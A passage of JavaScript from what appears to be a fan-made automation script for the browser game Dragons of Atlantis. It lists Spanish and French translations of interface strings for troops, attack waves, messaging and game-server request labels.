						'Troops for Bookmarks Attack': 'Tropas para atacar Marcador',
						'Troops for reinforcement': 'Tropas para reforzar',
						'Troops for defense': 'Tropas para defensa',
						'Troops for Primary Attack': 'Tropas para ataque principal',
						'Troops for Secondary Attacks': 'Tropas para ataque secundario',
						'Troops for transport': 'Tropas para Transporte',
						'Troops for Wave Attack': 'Tropas para ataque en olas',
						'Troops lost': 'Tropas perdidas',
						'Troops max': 'max. Tropas',
						'Troops statistics': 'Estadísticas de las tropas',
						'Troops statistics for': 'Estadísticas para',
						'Turned Off': 'Desactivado',
						'Unlimited': 'Ilimitado',
						'Unowned only': 'Libres solamente',
						'Updating City values': 'Actualización de los datos de la ciudad',
						'Use the Levels Tab to select attack areas': 'Usar la solapa de Niveles para seleccionar el rango de ataque',
						'Version update': 'Actualizar de la versión',
						'Wall management': 'Gestión de la muralla',
						'Warning': 'Esperando',
						'was returned with a status of': 'ha devolvió el estado de',
						'Water': 'Aqua',
						'Wave attack to ': 'Ataque en Oleada a ',
						'Wave': 'Oleadas',
						'Wiki URL': 'Wiki URL',
						'Wildernesses list': 'Listado de Paramos',
						'Wind': 'Viento',
						'Without alliance': 'Sin alianza',
						'You are': 'Tu eres',
						'Yoyo': 'Yoyo',
						'Yoyo functionality': 'Funcionalidad Yoyo',
						'ATrans': 'Globo',
						/* abbr Armored Transport */ 'Banshee': 'Banshee',
						/* abbr Wind Troop - Banshee */ 'BatDrg': 'DrgComb',
						/* abbr Battle Dragon */ 'Conscr': 'Conscr',
						/* abbr Conscript */ 'Fang': 'Tritón',
						/* abbr Aqua Troop */
						/*		'FGiant' : '?????',	*/
						/* abbr Frost giant */
						'FireDrg': 'DrgFue',
						/* abbr Fire Dragon */ 'FireM': 'EFuego',
						/* abbr Fire Mirror */ 'GrtDrg': 'GrnDrg',
						/* abbr Great Dragon */ 'Halbrd': 'Alabar',
						/* abbr Halberdsman */ 'IceDrg': 'DrgHielo',
						/* abbr Ice Dragon */ 'LBM': 'Arcos',
						/* abbr Longbowman */ 'LCannon': 'LCannon',
						/* abbr Lightning Cannon */ 'Magma': 'Magma',
						/* abbr Fire Troop - Magmasaurus */ 'Mino': 'Mino',
						/* abbr Minotaur */ 'Ogre': 'Ogro',
						/* abbr Stone Troop - Ogre */ 'PackDrg': 'DrgTrans',
						/* abbr Pack dragons */ 'SpctDrg': 'EspctDrg',
						/* abbr Spectral Dragon */ 'SReaper': 'Segador',
						/* abbr Ice Troop - SoulReaper */ 'SSDrg': 'DRapid',
						/* abbr Swift Strike Dragon */ 'StnDrg': 'DrgPie',
						/* abbr Stone Dragon */ 'SwpDrg': 'SerpMefi',
						/* abbr Swamp Dragon */ 'Venom': 'Venom',
						/* abbr Swamp Troop - Venom */ 'WatDrg': 'DrgAgua',
						/* abbr Water Dragon */ 'WndDrg': 'DraCef',
						/* abbr Wind Dragon */
						/* Missing Kabam translations */
						'FireDragon': 'Dragón del Fuego',
						'ajax-req-versions': 'Getting current API version',
						'ajax-req-locales': 'Loading translation matrix',
						'ajax-req-cookie': 'Set a cookie for sound setup',
						'ajax-req-manifest': 'Loading manifest',
						'ajax-req-player': 'Player data',
						'ajax-req-cities': 'City data',
						'ajax-req-jobs': 'Getting all jobs list',
						'ajax-req-dragons': 'Getting dragons data',
						'ajax-req-alliances': 'Retrieving Alliances Top 100',
						'ajax-req-membership': 'Retrieving Alliance membership',
						'ajax-req-activity': 'Retrieving Alliance activity',
						'ajax-req-map': 'Map data',
						'ajax-req-tile_at': 'Map data for one tile',
						'ajax-req-building': 'Lauching one building',
						'ajax-req-research': 'Lauching one research',
						'ajax-req-training': 'Lauching one training',
						'ajax-req-resurrect': 'Lauching one resurrection',
						'ajax-req-canceljob': 'Cancelling one job',
						'ajax-req-marches': 'Lauching one march',
						'ajax-req-cancelmarch': 'Cancelling/recalling one march',
						'ajax-req-reports': 'Message list',
						'ajax-req-reports_del': 'Deleting one message',
						'ajax-req-reports_read': 'Reading one message',
						'ajax-req-message': 'Sending one message',
						'ajax-req-minigame': 'Getting fortuna prizes list',
						'ajax-req-save_minigame': 'Playing one fortuna\'s grid',
						'ajax-req-leaderboards': 'Getting leaderbords data',
						'ajax-req-collect': 'Collecting resources from one outpost',
						'ajax-req-claim': 'Claiming one quest',
						'ajax-req-defended': 'Setting in defense / in sanctuary',
						'ajax-req-defense': 'Choice of Defense forces',
						'ajax-req-items': 'Using one item (speedups)',
						'ajax-req-breeding': 'Dragons breeding',
						'ajax-req-feeding': 'Dragons feeding',
						'ajax-req-dragonHandle': 'Dismiss/Remove/Equip one dragon',
						'Zzz': 'Zzz'
					};
					break;
                // Français  (by Jawz & Calcium)
				case 'fr':
					TRANSLATION_ARRAY = {
						'%age': '%age',
						'</B> and <B>': '</B> et <B>',
						'<B>Attacker\'s move turn</B>': '<B>Déplacement des unités offensives</B>',
						'<B>Attacker\'s attack turn</B>': '<B>Attaque des unités offensives</B>',
						'<b>Bad request!</b>': '<b>Mauvaise requête!</b>',
						'<B>Defender\'s move turn</B>': '<B>Déplacement des unités défensives</B>',
						'<B>Defender\'s attack turn</B>': '<B>Riposte des unités défensives</B>',
						'<b>Rate Limit Exceeded</b>, too many requests!': '<b>Limitation des Requêtes Dépassée</b>, Trop de requêtes envoyées!',
						'About CalciumScript': 'A propos de CalciumScript',
						'above the first value': 'au-dessus de la première valeur',
						'Action Log': 'Journal d\'évenements',
						'Actions': 'Actions',
						'Activate Attacks Logs': 'Activer journalisation des attaques',
						'Adapt Transport': 'Adapter transp.',
						'Adapt Transp. by speed': 'Adapter trsp/vitesse',
						'Alerts log': 'Log alertes',
						'All grids': 'Toutes grilles',
						'All players': 'Tous les joueurs',
						'All types': 'Tous les types',
						'Alliance activity retrieved': 'Activité de l\'alliance récupérée',
						'Alliance features': 'Fonctionnalités Alliance',
						'Alliances list retrieved': 'Liste des alliances récupérée',
						'Alliance members list retrieved': 'Liste des membres de l\'alliance récupérée',
						'Alliance messages': 'Message de l\'alliance',
						'and': 'et',
						'And at least': 'Et au moins',
						'Another march request is pending': 'Une autre demande de marche est en attente',
						'Are you sure you want to delete All Permanent Data': 'Etes-vous sûr de vouloir supprimer les données permanentes',
						'Army presets': 'Compositions d\'armées',
						'Arrival time': 'Heure arrivée',
						'at': 'à',
						' at ': ' à ',
						' at range': ' à distance',
						'Attack arrival time': 'Heure d\'arrivée de l\'attaque',
						'Attack forces': 'Forces engagées dans l\'attaque',
						'Attack sent to': 'Attaque envoyée sur',
						'Attack One Target in Multiple waves': 'Attaquer une cible en Vagues successives',
						'Attack sound file': 'Fichier audio d\'attaque',
						'Spy sound file': 'Fichier audio d\'espionnage',
						'Attacker': 'Attaquant',
						'Attacking': 'Attaque',
						'Attacks Configuration': 'Configuration Attaques',
						'Attacks Stats': 'Statistiques attaques',
						'Attacks': 'Attaques',
						'attempted': 'tenté',
						'attempt for': 'tentative pour',
                        'Auto' : 'Auto',
						'Auto harvest resources from outposts every': 'Collecte automatique des outposts chaque',
						'Auto-play : Maximum tickets to play ': 'Jeu automatique : Tickets maximum à jouer ',
						'Auto refresh info tab data every': 'Rafraîchissement auto des données de l\'onglet info chaque',
						'Auto-refresh wheel prize list every': 'Rafraîchissement de la liste des gains chaque',
						'Automatically': 'Automatiquement',
						'Automatically recall transport 1 minute before delivery': 'Rappel automatique du transport une minute avant livraison',
						'Available troops': 'Troupes disponibles',
						'Awaiting task completion notification': 'En attente de la notification de fin de tâche',
						'Back at the same time': 'Retour au même instant',
						'Backup': 'Backup',
						'Battle': 'Simul',
						'Battle calculator': 'Simulation bataille',
						'Battle forces': 'Forces de bataille',
						'Battle log': 'Log de bataille',
						'Battle lost !!': 'Bataille perdue !!',
						'Battle mechanics': 'Mécanique des bataille',
						'Battle won !!': 'Bataille gagnée !!',
						'Bookmark': 'Signet',
						'Bookmarks': 'Signets',
						'Bookmarks Configuration': 'Configuration signets',
						'Bookmark saved': 'Signet sauvegardé',
						'Building': 'Construction',
						'Busy': 'Occupé',
						'by': 'par',
						'By distance ascending': 'Par distance croissante',
						'By distance descending': 'Par distance décroissante',
						'Cache data': 'Données en cache',
						'Calculate': 'Lancer simulation',
						'Camps/wilds attack reports': 'Rapports d\'attaque de camps/ES',
						'Capital data': 'Données de la ville principale',
						'Capital data successfully fetched': 'Données de la ville principale chargée avec succès',
						'Chance': 'Chance',
						'Change': 'Changer',
						'Check sentinel reports every ': 'Contrôler les rapports de sentinelle chaque ',
						'Check the following great dragons to exclude them from being sent': 'Cocher les grands dragons suivants pour éviter de les envoyer',
						'Check to use UTC time instead of local time': 'Cocher pour afficher l\'heure UTC à la place de l\'heure locale',
						'Chrono': 'Chrono',
						'Claim': 'Réclame',
						'Claimed': 'Réclamé',
						'Claiming quest': 'Réclamation',
						'Clear all': 'Effacer tout',
						'Clear all data': 'Réinitialiser données',
						'Clear last attack on all maps': 'Réinitialiser toutes les cartes',
						'Clear last attack on current map': 'Réinitialiser les attaques sur la carte',
						'Clear local storage (internet cache)': 'Supprimer le stockage local (cache internet)',
						'Clear log': 'Effacer log',
						'Clear Stats': 'Effacer stats',
						'Collected resources at outpost': 'Ressources collectées sur l\'avant-poste',
						'Completing...': 'Finalisation...',
						'Completion errors': 'Erreur lors de fin de tâche',
						'Config': 'Config',
						'Confirmation': 'Confirmation',
						'Console Log': 'Log Console',
						'Console': 'Console',
						'Coordinates': 'Coordonnées',
						'Coords': 'Coords',
						'Copy to calculator': 'Envoyer au simulateur',
						'Copy troops reported by the sentinel to the battle calculator': 'Copie des troupes rapportée par la sentinelle dans le simulateur de bataille',
						'Curse reports': 'Rapports de malédiction',
						' damages taken': ' dommages subis',
						' damages to ': ' dommages à ',
						'data': 'données',
						'data successfully fetched': 'données chargées avec succès',
						'Date range': 'Plage de dates',
						' deal ': ' infligent ',
						'Defender': 'Défenseur',
						'Defending': 'En défense',
						'Delay before first secondary attack': 'Délai avant envoi de la première vague secondaire',
						'Delay before script startup': 'Délai initial avant chargement du script',
						'Delay before sending Primary attack': 'Délai avant envoi d\'une vague principale',
						'Delay Between Attacks': 'Délai entre les attaques',
						'Delay Between Secondary Attacks': 'Délai entre vagues secondaires',
						'Delay Between Transports': 'Délai entre chaque transport',
						'delayed due to': 'retardé,',
						'delayed due to no available generals': 'retardé, aucun général disponible',
						'delayed due to no available Great Dragon': 'retardé, aucun Grand Dragon disponible',
						'delayed due to pending march request': 'retardé, une autre demande de marche est en attente',
						'Delete now': 'Supprimer',
						'Delete Battle Reports': 'Supprimer les rapports de bataille',
						'Delete messages': 'Suppression des messages',
						'Delete messages of this type': 'Suppression des messages de ce type',
						'Delete spy reports': 'Supprimer les rapports d\'espionnage',
						'Delete spy Reports': 'Supprimer les rapports d\'espionnage',
						'Deleting selected messages': 'Suppression des messages sélectionnés',
						'Deleting selected messages in progress': 'Suppression des messages sélectionnés en cours',
						'Deleting messages': 'Suppression de messages',
						'Deletion of messages': 'Suppression de messages',
						'Desert': 'Désert',
						'Detailed search': 'Recherche détaillée',
						'Disable <B>Alliance</B> tab': 'Désactiver l\'onglet <B>Alliance</B>',
						'Disable <B>Battle</B> tab': 'Désactiver l\'onglet <B>Simu</B>',
						'Disable <B>Bookmarks</B> tab': 'Désactiver l\'onglet <B>Signets</B>',
						'Disable <B>Fortuna\'s</B> tab': 'Désactiver l\'onglet <B>Fortuna</B>',
						'Disable <B>Inbox</B> tab': 'Désactiver l\'onglet <B>Messagerie</B>',
						'Disable <B>Leaderboards</B> tab': 'Désactiver l\'onglet <B>Leaderboards</B>',
						'Disable <B>Multi</B> tab': 'Désactiver l\'onglet <B>Multi</B>',
						'Disable <B>Search</B> tab': 'Désactiver l\'onglet <B>Carte</B>',
						'Disable <B>Single</B> tab': 'Désactiver l\'onglet <B>Unique</B>',
						'Disable <B>Spy</B> tab': 'Désactiver l\'onglet <B>Espionnage</B>',
						'Disable <B>Wall</B> tab': 'Désactiver l\'onglet <B>Rempart</B>',
						'Disable <B>Wave</B> tab': 'Désactiver l\'onglet <B>Vague</B>',
						'Disable <B>Log</B> tab': 'Désactiver l\'onglet <B>Log</B>',
						'Disabled': 'Désactivé',
						'Display official background image': 'Afficher l\'image officielle en arrière-plan',
						'Displayed': 'Affichés',
						'Dist': 'Dist',
						'Distance must be between': 'La distance doit être comprise entre',
						'Distance': 'Distance',
						'Dragons data successfully fetched': 'Données des dragons du sanctuaire chargées avec succès',
						'Dragons management': 'Gestions des dragons',
						'Dragon healing': 'Dégâts causés au dragon',
						'Dragons': 'Dragons',
						'Do not show alerts obsolete since': 'Ne pas afficher les alertes obsolètes depuis',
						'Do you want to delete existing Permanent Data': 'Voulez-vous supprimer les données permanentes',
						'Do you want to save in Permanent Data the current script setting': 'Voulez-vous sauvegarder le paramétrage actuel du script dans les données permanentes',
						'Do you want to save Map Data in local file': 'Voulez-vous sauvegarder les données de la carte dans un fichier local',
						'Do you want to save Permanent Data in local file': 'Voulez-vous sauvegarder les données permanentes dans un fichier local',
						'Do you want to reject this member': 'Voulez-vous exclure ce membre',
						'Do you want to use [0] on this job': 'Voulez-vous utiliser [0] pour cette tâche',
						'Do you want to use [0] on this march': 'Voulez-vous utiliser [0] pour cette marche',
						'Dutch': 'Hollandais',
						'Edit': 'Modifier',
						'Edit bookmark': 'Modifier signet',
						'Enable': 'Activer',
						'Enable confirmation on use of speed-ups': 'Activer la confirmation sur l\'utilisation de certains accélérateurs',
						'Enable confirmation on cancelling job in training/resurrection': 'Activer la confirmation sur l\'annulation d\'entrainement/résurrection',
						'Enable research on all OP': 'Activer la possibilité de lancer des recherches sur tous les OP',
						'Enable transport of ': 'Activer le transport de ',
						'Enable use of speed-ups in attacks waves': 'Activer l\'utilisation des accélérateurs de temps dans les vagues d\'attaque',
						'Enable use of speed-ups in training/resurrection jobs': 'Activer l\'utilisation de accélérateurs de temps dans les formations/résurrections',
						'Enable verbose logging': 'Activer la journalisation d\'évenements',
						'Enable window drag': 'Autoriser le déplacement de la fenêtre',
						'Enable the sentinel tower': 'Activer la sentinelle',
						'Enable notifications when i win an object in Fortuna automatic play': 'Activer les notifications sur les gains automatique de Fortuna',
						'Enable notifications when i receive spy': 'Activer les notifications quand je reçois une alerte Espion',
						'Enable notifications when i receive attack': 'Activer les notifications quand je reçois une alerte Attaque',
						'Enable notifications for tchat alliance':'Activer les notifications sur le tchat alliance',
						'Enable notifications for tchat realm':'Activer les notifications sur le tchat monde',
						'enchanting': 'Energie enchantée',
						'Enabled': 'Activé',
						'English': 'Anglais',
						'Enemy': 'Ennemi',
						'Ennemy coordinates': 'Coordonnées de l\'ennemi',
						'Enemy General': 'Général ennemi',
						'Ennemy name and alliance': 'Nom et alliance de l\'ennemi',
						'Enemy research levels': 'Niveaux de recherche de l\'ennemi',
						'Enter -1 as troop quantity to use the maximum available': 'Saisir -1 comme quantité de troupes pour utiliser le maximum disponible',
						'Error': 'Erreur',
						'Error while deleting messages': 'Erreur lors de la suppression des messages',
						'Error while deleting selected messages': 'Erreur lors de la suppression des messages sélectionnés',
						'Error while retrieving all messages': 'Erreur lors de la récupération de tous les messages',
						'Error while retrieving player data ': 'Erreur lors de la récupération des données du joueur',
						'Error while retrieving the alliance activity': 'Erreur lors de la récupération de l\'activité de l\'alliance',
						'Error while retrieving the item won': 'Erreur lors de la récupération du gain',
						'Error while retrieving the list of members': 'Erreur lors de la récuparation de la liste des membres',
						'Error while setting defense choice': 'Erreur lors de la mise à jour du choix des défenseurs',
						'Error while setting defense wall status': 'Erreur lors du changement de statut du rempart',
						'Evol': 'Evol',
						'Except': 'Sauf',
						'Exception': 'Exception',
						'failed': 'a échoué',
						'failed and returned error': 'a échoué et a retourné l\'erreur',
						'Fast search': 'Recherche rapide',
						'Features': 'Fonctionalités',
						'Fetching': 'Récupération',
						'Fetching Capital data': 'Chargement des données de la ville principale',
						'Fetching Dragons data': 'Chargement des données des dragons du sanctuaire',
						'Fetching Manifest': 'Chargement du Manifeste',
						'Fetching Outpost ': 'Chargement de l\'outpost ',
						'Fetching Seed': 'Chargement des données joueur',
						'Fetching Translation matrix': 'Chargement de la matrice de traductions',
						'Fire': 'Feu',
						'First value must be between': 'La première valeur du délai doit être comprise entre',
						'Flash game Auto refresh every': 'Auto-refraîchissement du jeu flash chaque',
						'Foes': 'Ennemis',
						'for': 'pour',
						'Force saving current script settings': 'Forcer la sauvegarde du paramétrage actuel du script dans le stockage local',
						'Fortuna\'s chance': 'Fortuna Chance',
						'Forum link': 'Lien Forum',
						'French': 'Français',
						'Game messages': 'Message du jeu',
						'Game Options': 'Options de jeu',
						'GD': 'GD',
						'Generals': 'Généraux',
						'German': 'Allemand',
						'Getting basic data...': 'Récupération des données de base',
						'Getting cities data...': 'Récupération des données des cités',
						'Getting dragons data...': 'Récupération des données des dragons du sanctuaire',
						'Getting game data...': 'Récupération des données de jeu',
						'Got': 'Trouvé',
						'Great dragons': 'Grands Dragons',
						'GreenScales': 'Écailles Naturelles',
						'Grids played': 'Grilles jouées',
						'About': 'A propos',
						'Hide spy alerts': 'Masquer les alertes d\'espionnage',
						'Hide sanctuary dragon at max level':'Masque les dragons du sanctuaire au niveau maximum',
						'Hiding': 'Sanctuaire',
						'History': 'Historique',
						'h': 'h',
						'Hide resource fields': 'Masquer les champs de ressources',
						'Ice': 'Glace',
						'Idle': 'Inoccupé',
						'In city': 'En ville',
						'In march': 'En marche',
						' in melee': ' en corps-à-corps',
						'in progress': 'en cours',
						'Inbox': 'Messagerie',
						'Include Great Dragon': 'Envoyer un grand dragon avec chaque attaque',
						'Info': 'Info',
						'Initialization': 'Initialisation',
						'Initializing...': 'Initialisation...',
						'Initializing map, auto-collect, ...': 'Initialisation de la carte, collecte automatique, ...',
						'Inspect current script settings': 'Inspecter le paramétrage actuel du script',
						'Invalid date From': 'Date "du" non valide',
						'Invalid date To': 'Date "au" non valide',
						'Invalid date range': 'Plage de dates invalide',
						'Invalid delays': 'Délais invalides',
						'Invalid number of troops': 'Nombre d\'unités invalide',
						'Joined': 'Adhésion',
						'Keep battle reports of attacks from other players': 'Gardez les rapports de bataille des attaques d\'autres joueurs',
						'Keep battle reports of my attacks on other players': 'Gardez les rapports de bataille de mes attaques contre d\'autres joueurs',
						' (kill ': ' (tuent ',
						'Last attack': 'Dernière attaque',
						'Last Block': 'Dernier bloquage',
						'Last report': 'Dernier rapport',
						'Last hour': 'Dernière heure',
						'Last items won': 'Derniers objets gagnés',
						'Leaderboards': 'Leaderboards',
						'Leaderboards retrieved': 'Leaderboard récupéré',
						'life lost': 'vie perdue',
						'L.I.T.': 'Transport Auto',
						'Loaded': 'Script chargé',
						'Loading basic data': 'Chargement des données de base',
						'Locale data was Successfully requested from the server': 'La requête pour les traductions a bien été traitée par le serveur',
						'Logs': 'Logs',
						'Log': 'Log',
						'Manifest not available, using defaults': 'Manifeste non disponible, utilisation des stats par défaut',
						'Manifest Successfully initialized': 'Manifeste initialisé avec succès',
						'Manifest was Successfully requested from the server': 'La requête pour le Manifeste a bien été traitée par le serveur',
						'Manual attack sent to': 'Attaque manuelle envoyé sur',
						'Mass deletion': 'Suppression en masse',
						'Mass deletion of messages': 'Suppression en masse de messages',
						'Max level': 'Niveau max',
						'Map data': 'Données carte',
						'Map Search': 'Recherche sur la carte',
						'Maximize resource to transport according to max load': 'Maximiser ressources en fonction de la charge maximale',
						'Maximum level reached': 'Niveau maximum atteint',
						'Maximum secondary marches before sending another primary attack': 'Nombre maximum de vagues secondaires<br/>avant de renvoyer une vague principale: ',
						'Maximum simultaneous marches': 'Nombre maximum de marches simultanées',
						'Maximum training queues possible per city, according to available resources': 'Maximum de formations possibles par ville, en fonction des ressources disponibles',
						'Members list ': 'Liste des membres ',
						'Message alliance': 'Message d\'alliance',
						'Message configuration': 'Configuration du message',
						'Message(s) deleted': 'Message(s) supprimé(s)',
						'Message(s) deletion in progress': 'Message(s) en cours de suppression',
						'Messages deleted': 'Messages supprimés',
						'messages deleted': 'messages supprimés',
						'Messages retrieved': 'Messages récupérés',
						'Messages selection deleted': 'Messages sélectionnés supprimés',
						'miles': 'miles',
						'Min level': 'Niveau min',
						' move to ': ' vont à la position ',
						'Multi': 'Multi',
						'Msg': 'Msg',
						'My city/OP name where the attack is coming': 'Le nom de ma ville/OP où l\'attaque arrive',
						'My city/OP coordinates': 'Les coordonnées de ma ville/OP',
						'My name': 'Mon nom',
						'Need': 'Requiert',
						'New version has been installed...': 'Une nouvelle version a été installée...',
						'No Generals Available': 'Aucun général disponible',
						'No great dragon available': 'Aucun grand dragon disponible',
						'No Great Dragon available': 'Aucun grand dragon disponible',
						'no max': 'pas de limite',
						'No new version of': 'Aucune nouvelle version de',
						'No resources to transport defined': 'Aucune ressource à envoyer n\'est définie',
						'No Recipient Defined': 'Aucun destinataire défini',
						'No Troops Defined': 'Aucune troupe définie',
						'Not blocked since': 'Non bloqué depuis',
						'Not ready': 'Non prêt',
						'Number of one-hour-bans': 'Nombre d\'heures bloquées',
						'of': 'sur',
						'of the following items': 'des objets suivants',
						'Only one training queue per city': 'Une seule formation de troupe par ville',
						'Options': 'Options',
						'Opts': 'Opts',
						'Outpost 1': 'Avant-poste aquatique',
						'Outpost 2': 'Avant-poste de pierre',
						'Outpost 3': 'Avant-poste de feu',
						'Outpost 4': 'Avant-poste éolien',
						'Overview': 'Vue d\'ensemble',
						'Owner': 'Propriétaire',
						'Parameters': 'Paramètres',
						'Play for': 'Jouer pendant',
						'Play sound on incoming sentinel report': 'Jouer un son à l\'arrivée de nouvelles alertes sentinelle',
						'Play sound on task completion': 'Jouer un son lors des fins de tâches',
						'Play sound when Fortuna\'s ticket played or a matching grid is found': 'Jouer un son lorsqu\' un ticket Fortuna est joué ou qu\'une grille recherchée est trouvée',
						'Played': 'Joués',
						'played this session': 'Joués cette session',
						'Player cities': 'Cités joueurs',
						'Player cities list': 'Liste des cités des joueurs',
						'Player data retrieved': 'Données joueur récupérées',
						'Player data was Successfully requested from the server': 'La requête pour les données joueur a bien été traitée par le serveur',
						'Player messages': 'Messages de joueurs',
						'Player name': 'Nom joueur',
						'Please wait...': 'Veuillez patienter...',
						'Preset': 'Préréglage',
						'Preset name': 'Nom du préréglage',
						'Presets': 'Préréglage',
						'Primary attack to ': 'Vague principale envoyée à ',
						'Production limit reached': 'Limite de production atteinte',
						'Purge All': 'Tout Purger',
						'Quest': 'Mission',
						'Qty': 'Qté',
						'Rate Limit Exceeded because there were too many requests': 'Limitation des requêtes dépassée, trop de requêtes ont été envoyées',
						'Read page ': 'Lecture de la page ',
						'Ready': 'Prêt',
						'Reaped': 'Fauchées',
						'Recipient': 'Destinataire',
						'Refresh': 'Actualiser',
						'Refresh applicants': 'Actu. candidats',
						'Refresh in': 'Nouvelle grille dans',
						'Refresh list': 'Rafraîchir la liste',
						'Refresh map data': 'Rafraîchir données carte',
						'Refresh selection': 'Rafraîchir sélection',
						'Refreshing player and cities data': 'Rafraîchissement des données joueur et cités',
						'Refreshing Tax Rate': 'Mise à jour du taux d\'imposition',
						'Reinforcement reports': 'Rapports de renforcement',
						'Reinforcement sent to': 'Renforcement envoyé à',
						'Reload': 'Recharger DOA',
						'Repairing': 'Réparation',
						'Repeat every': 'Répéter chaque',
						'Repeat attack alarm every': 'Répéter l\'alarme d\'attaque tous les',
						'Repeat spy alarm every': 'Répéter l\'alarme d\'espionnage tous les',
						'Request': 'Requête',
						'Requests Log': 'Log Requêtes',
						'Research Started': 'Recherche lancée',
						'Researching': 'Recherche',
						'Reset Stats': 'Réinitialiser Stats',
						'Resources stock levels update failed': 'Mise à jour des niveaux de stock des ressources a échoué',
						'Resources to transport': 'Ressources à envoyer',
						'Restore': 'Restaurer',
						'Restore script settings from local file': 'Restaurer le paramétrage du script à partir d\'un fichier texte local',
						'Resurrection': 'Résurrection',
						'Resurrect': 'Résurrection',
						'Retrieve all': 'Tout récupérer',
						'Retrieving leaderboards': 'Récupération du Leaderboard',
						'Retrieving messages': 'Récupération des messages',
						'Retry in': 'Nouvel essai dans',
						'Reviving': 'Résurrection',
						'Revival allowed': 'Résurrection autorisée',
						'Role': 'Rôle',
						'Rules': 'Règles',
						'Run Time': 'Temps d\'exécution',
						'Safe Mode': 'Mode Sans échec',
						'Sanctuary reports': 'Rapports du sanctuaire',
						'Save current map data in a local file': 'Sauvegarder les données actuelles de la carte dans un fichier local',
						'Save current script settings in a local file': 'Sauvegarder le paramétrage du script dans un fichier local',
						'Save preset': 'Sauvegarder réglage',
						'Scales': 'Ecailles',
						'Scan cities': 'Recherche cités',
						'Scan wilds': 'Recherche ES',
						'Scanning map': 'Balayage de la carte pour cités uniquement',
						'Scanning map for cities/wildernesses': 'Balayage de la carte pour cités/ES',
						'Scanning map for cities': 'Balayage de la carte pour cités',
						'Scanning map for wildernesses': 'Balayage de la carte pour ES uniquement',
						'Script language': 'Langage du script',
						'Script Options': 'Options du script',
						'Search coords': 'Coords recherche',
						'Search for alliance activity': 'Récupération de l\'activité de l\'alliance',
						'Search for alliance list': 'Recherche de la liste des alliances',
						'Search for alliance members': 'Recherche des membres de l\'alliance',
						'Search for old name': 'Rechercher un ancien nom',
                        'Search max radius': 'Rayon rech. max',
						'Search Radius': 'Rayon de balayage',
						'Second value must be at least': 'La seconde valeur doit être au moins à ',
						'Seconds': 'Secondes',
						'seconds': 'secondes',
						'Secondary attack to ': 'Vague secondaire envoyée à ',
						'Seed Successfully initialized': 'Données joueur initialisée avec succès',
						'Select all': 'Tout sélectionner',
						'Select at least one type of message or report to delete': 'Sélectionnez au moins un type de message ou de rapport à supprimer',
						'Send a message to alliance members in case of attack': 'Envoi d\'un message à toute l\'alliance en cas d\'attaque',
						'Send even without Dragon': 'Envoyer même sans Dragon',
						'Send Max in reinf': 'Max renforts',
						'Send reinforcement': 'Envoyer les renforts',
						'Send transport': 'Envoyer le transport',
						'Sending reinforcement': 'Envoi de renforts',
						'Sending transport': 'Envoi de transport',
						'Sentinel messages': 'Alertes sentinelle',
						'Sentinel tower': 'Sentinelle / Tour de guet',
						'Set Def': 'Màj déf',
						'Single': 'Unique',
						'Single attack sent to': 'Attaque unique envoyée sur',
						'Single attack': 'Attaque unique',
						'Souls': 'Âmes',
						'Sound configuration': 'Configuration du son',
						'Sound file': 'Fichier son',
						'Sound OFF': 'Couper son',
						'Spanish': 'Espagnol',
						'Spectral': 'Spectral',
						'SpectralDragonKeep': 'Autel du Dragon',
						'Spies done': 'Espionnages effectués',
						'Spies number': 'Nombre d\'espions',
						'Spy One Target': 'Espionner une cible en rafale',
						'Spy reports': 'Rapports d\'espionnage',
						'Spy to ': 'Espion(s) envoyé à ',
						'Stars': 'Etoiles',
						'Start': 'Début',
						'Start Date': 'Date de début',
						'Starting...': 'Démarrage...',
						'Step': 'Etape',
						'Stone': 'Pierre',
						'Stop if any troops lost': 'Désactiver en cas de pertes',
						'Stop the wheel when found the following items': 'Arrêter le rafraîchissement lorsque les articles suivants ont été trouvés',
						'succeeded': 'a réussi',
						'Successfully initialized': 'initialisé avec succès',
						'Successfully': 'Avec succès',
						'Summary': 'Général',
						' survivals)': ' survivants)',
						'Swamp': 'Marais',
						'Swedish': 'Suédois',
						'switchDefense OK': 'Switch défense OK',
						'Switch defense wall status': 'Changement du statut du rempart',
						'Switching defense': 'Changement de la défense',
						'Tabs Options': 'Options des onglets',
						'Target': 'Cible',
						'Targets': 'Cibles',
						'Task Completed': 'Tâche éffectuée',
						'Tasks': 'Tâches',
						'Tax Rate': 'Taux d\'imposition',
						'Terrain length set to ': 'Longueur du terrain initialisée à ',
						'Test': 'Test',
						'Notification permission test': 'Test de la permission des notifications',
						'This should not clear map and alliance data.': 'Ceci n\'effacera pas les données carte et alliance.',
						'Time': 'Durée',
						'to': 'a',
						'To be refreshed': 'A rafraîchir',
						'Toggle Flash': 'Switcher flash',
						'Total grids played': 'Total de grilles jouées',
						'Total grids displayed': 'Total de grilles affichées',
						'Total lost': 'Total perdu',
						'to win': 'de gagner',
						'Tower': 'Guet',
						'Tower configuration': 'Configuration sentinelle',
						'Training Configuration': 'Configuration de la formation',
						'Training job cancelled': 'Tâche d\'entrainement annulée',
						'Translation Matrix Successfully initialized': 'Matrice de traduction initialisée avec succès',
						'Transport reports': 'Rapports de transport',
						'Transport sent to': 'Transport envoyé à',
						'Troops Capped': 'Troupes plafonnées',
						'Troops for Bookmarks Attack': 'Troupes pour attaque du signet',
						'Troops for defense': 'Défenseurs',
						'Troops for Primary Attack': 'Troupes pour Attaque principale',
						'Troops for reinforcement': 'Troupes pour le renforcement',
						'Troops for Secondary Attacks': 'Troupes pour Attaques secondaires',
						'Troops for transport': 'Troupes pour le transport',
						'Troops for Wave Attack': 'Troupes pour Attaque en Vague',
						'Troops lost': 'Troupes perdues',
						'Troops max': 'Max. troupes',
						'Troops statistics': 'Statistiques des troupes',
						'Troops statistics for': 'Statistiques pour',
						'Turned Off': 'Désactivé',
						'Units': 'Unités',
						'Unlimited': 'Illimité',
						'Unselect all': 'Tout déselectionner',
						'Unowned only': 'Libres seulement',
						'Update': 'M.A.J.',
						'Updating City values': 'Mise à jour des données de la ville',
						'Use the Levels Tab to select attack areas': 'Utilisez l\'onglet "Niveaux" pour sélectionner les cibles',
						'Version update': 'Mise à jour',
						'Wall management': 'Gestion rempart',
						'Warning': 'Alerte',
						'was returned with a status of': 'a retourné le statut',
						'Water': 'Eau',
						'Wave attack to ': 'Attaque en vagues sur ',
						'Wave': 'Vague',
						'Wiki URL': 'Lien Wiki',
						'Wildernesses list': 'Liste des étendues sauvages',
						'Wind': 'Vent',
						'Without alliance': 'Sans alliance',
						'You are': 'Vous êtes',
						'Yoyo': 'Yoyo',
						'Yoyo functionality': 'Fonctionalité Yoyo',

						'ATrans': 'Ballons', /* abbr Armored Transport */
